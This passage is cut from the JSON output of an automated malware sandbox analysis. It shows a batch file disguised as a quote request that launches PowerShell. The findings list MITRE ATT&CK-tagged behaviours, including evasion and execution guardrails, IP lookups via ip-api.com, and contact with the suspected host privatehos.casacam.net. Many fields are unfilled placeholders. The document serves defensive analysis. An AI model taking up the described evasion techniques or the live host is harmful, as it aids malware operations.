\"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$4c","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$4d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"ip-api.com\"\n \"privatehos.casacam.net\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$4f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$50","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"$51","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$52","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$53","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 1272)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 1272)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 6840)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$54","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\angebotsanfrage_11-aug-2026.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Reference to an external IP address lookup service identified\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to identify external IP address","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\msvcp140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140_1.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$55","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$56","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$57","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping -n 8 127.0.0.1\" (Indicator: \"ping \"; Source: \"00000000-00004252-00000C47-13991363576\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002148.00000000.136313.AE780000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"Checks internet connectivity using tracert/ping","description":"Process \"PING.EXE\" with commandline \"ping -n 8 127.0.0.1\" (UID: 00000000-00005512)","origin":"Monitored Target","mitre_attack_id":"T1016.001","relevance":1,"id":"target-348","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /json/\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$59","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$5b","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /json/ HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nConnection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"privatehos.casacam.net\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00003236\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00002148\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00002684\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00002684\"\n YARA signature for encryption algorithm process \"00000000-00002940\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE5C994FD0D21069484DE2FC039770]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002148.00000000.136313.38990000.00000004.mdmp, 00000000-00002148.00000001.136340.38990000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE2B9C85DBB2F5C7E5BAC0425C2334]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002684.00000000.136665.47860000.00000004.mdmp, 00000000-00002684.00000001.136956.47890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002148.00000000.136313.38990000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00002148.00000000.136313.AE780000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002684.00000000.136665.47860000.00000004.mdmp, 00000000-00002684.00000001.136956.47890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"870,6480,3217,,LookupAccountSidW,advapi32.dll,\"00:35:35.312\",RX=0,PX=0\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00002684.00000000.136665.61DC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$5c","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006840)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00003236)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00002148)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006840)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003236)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00002148)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006840)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00003236)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00002148)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp, 00000000-00002684.00000001.136956.49D70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp, 00000000-00002684.00000001.136956.49D70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002148.00000000.136313.AE780000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006840)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003236)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002148)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002684)","origin":"API 